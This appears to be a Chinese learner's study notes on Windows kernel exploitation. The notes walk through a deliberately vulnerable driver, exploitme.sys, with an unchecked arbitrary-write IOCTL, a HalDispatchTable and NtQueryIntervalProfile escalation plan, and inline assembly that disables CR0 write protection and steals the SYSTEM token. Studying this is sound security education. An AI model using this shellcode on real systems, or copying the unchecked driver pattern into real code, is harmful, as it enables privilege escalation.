目录
利用实验之exploitme.sys
当然要先搞个有漏洞的驱动,像缓冲区溢出这样就最好了
修改一下之前的helloworld.c
宏增加了
派遣例程函数肯定最重要的
NTSTATUS DrvDispatch(IN PDEVICE_OBJECT driverObject,IN PIRP pIrp) { PIO_STACK_LOCATION pIrpStack;//当前的pIrp栈 PVOID Type3InputBuffer;//用户态输入地址 PVOID UserBuffer;//用户态输出地址 ULONG inputBufferLength;//输入缓冲区的大小 ULONG outputBufferLength;//输出缓冲区的大小 ULONG ioControlCode;//DeviceIoControl的控制号 PIO_STATUS_BLOCK IoStatus;//pIrp的IO状态指针 NTSTATUS ntStatus=STATUS_SUCCESS;//函数返回值 //获取数据 pIrpStack = IoGetCurrentIrpStackLocation(pIrp); Type3InputBuffer = pIrpStack->Parameters.DeviceIoControl.Type3InputBuffer; UserBuffer = pIrp->UserBuffer; inputBufferLength = pIrpStack->Parameters.DeviceIoControl.InputBufferLength; outputBufferLength = pIrpStack->Parameters.DeviceIoControl.OutputBufferLength; ioControlCode = pIrpStack->Parameters.DeviceIoControl.IoControlCode; IoStatus=&pIrp->IoStatus; IoStatus->Status = STATUS_SUCCESS;// Assume success IoStatus->Information = 0;// Assume nothing returned //根据 ioControlCode 完成对应的任务 switch(ioControlCode) { case IOCTL_EXPLOIT_ME: if ( inputBufferLength >= 4 && outputBufferLength >= 4 ) { *(ULONG *)UserBuffer = *(ULONG *)Type3InputBuffer; IoStatus->Information = sizeof(ULONG); } break; } //返回 IoStatus->Status = ntStatus; IoCompleteRequest(pIrp,IO_NO_INCREMENT); return ntStatus; }
驱动的卸载函数也增加了一点
VOID DriverUnload( IN PDRIVER_OBJECT driverObject ) { UNICODE_STRING symLinkName; KdPrint(("DriverUnload: 88!\n")); RtlInitUnicodeString(&symLinkName,DEVICE_LINK); IoDeleteSymbolicLink(&symLinkName); IoDeleteDevice( g_DeviceObject ); }
我们看看这里
输入输出缓冲区都是Ring3指定的,存在任意地址写任意数据的内核漏洞
据说很多驱动最终都是归纳为上述exploitme.sys的漏洞模型
内核漏洞利用思路
首先远程和本地拒绝服务相对来说简单,不必那么过多考虑数据
远程任意代码执行和本地提升权限就复杂,
作者说远程任意代码执行很少见了,更多的是本地权限提升的内核漏洞
而且驱动编译器默认开启GS选项,直接利用缓冲区溢出困难重重
现在是想看到篡改系统内核内存数据,执行Ring0 shellcode的漏洞
那么篡改系统内核内存数据或执行Ring0 shellcode的漏洞是什么类型漏洞?
就是内存篡改漏洞
其中任意地址写任意数据必能造成权限提升,后两种利用得当也可以,真实越来越屌了
内核漏洞利用方法
篡改内核内存数据,执行Ring0 shellcode的漏洞
第一个利用方法是不推荐的
执行Ring0 shellcode可以将内存保护去掉,才可以篡改内存
执行Ring0 shellcode:可以覆盖内核API保存的表上的地址,一旦我们调用内核API函数,就调用了我们的shellcode了,还是Ring0的哦
但覆盖的函数要选用冷门的,不然其他进程调用的时候就内存访问错误或崩溃了
那我们的exploitme.sys可以任意地址写任意数据,我们就覆盖HalDispatchTable表中的第一个函数
将输出缓冲区地址指向它即可
对exploitme.sys的漏洞利用方法概括:
首先在当前进程(exploit.exe)的0x0地址处申请内存,并存放Ring0 Shellcode代码,然后利用漏洞将HalDispatchTable中的HalQuerySystemInformation函数地址改写为0,最后再调用该函数的上层封装函数NtQueryIntervalProfile,于是实现准备好的Ring0 Shellcode就会被执行
为什么上层函数是这个呢,我们看看源码,不过我们看的是ReactOS
ReactOS是开源免费的Windows NT系列(含NT4.0/2000/XP/2003)克隆操作系统,保持了与Windows的系统级兼容性。
我们看看NtQueryIntervalProfile
假如不知道这函数的实现是在哪,直接用notepad++搜索就行
发现ProfileSource不为ProfileTime或者ProfileAlignmentFixup就是我们想要的
内核漏洞利用实战与编程
之前的exploitme.sys由于ioControlCode的处理过程所使用的通信方式为METHOD_NEITHER
又没用ProbeForRead和ProbeForWrite判断输入和输出地址是否可读和是否可写,所以就是任意地址写任意数据的漏洞
那漏洞利用分为5步
1 获取HalDispatchTable表地址
它是由内核模块导出的,首先要得到内核模块的基址,再加上HalDispatchTable与内核模块的基址的偏移就行啦
2 在0x0申请一段内存并写入Ring0 Shellcode
3 利用漏洞向地址y写入0x0
4 调用NtQueryIntervalProfile函数
5 Ring0 Shellcode被执行
感觉这些都是差不多固定的代码啊,有点长,我也只是打了一点,就不粘贴上来了
大家都看书吧,多看多理解
不过我们看看最后Ring0 Shellcode
关闭内核写保护
__asm { cli; mov eax, cr0; mov g_uCr0,eax; and eax,0xFFFEFFFF; mov cr0, eax; }
CR0中含有控制处理器操作模式和状态的系统控制标志;
首先保存cr0,修改了cr0我们就可以为所欲为了
之后我们要恢复内核写保护
__asm { sti; mov eax, g_uCr0; mov cr0, eax; }
Ring0 Shellcode的编写
提权到system
原来是修改进程的token就提权了
__asm { mov eax,0xFFDFF124;eax = KPCR(not 3G mode) mov eax,[eax];获取当前线程PETHREAD mov esi,[eax+0x220];获取当前线程所属进程的PEPROCESS mov eax,esi; searchXp: mov eax,[eax+0x88]; sub eax,0x88;获取进程链表中下一个进程的PEPROCESS mov edx,[eax+0x84];获取该进程的pid到edx cmp edx,0x4;通过PID查找SYSTEM进程 jne searchXp; mov eax,[eax+0xc8];获取system进程的token mov [esi+0xc8],eax;修改当前进程的token }
可能代码那里错了,蓝屏
恢复内核的Hook/Inline Hook
安全软件大部分都是通过这些实现防御的
恩,懒了
添加调用们,中断门,任务门,陷阱门
添加了其中一个就可以自由出入Ring0和Ring3了
一时难以消化,以后再消化了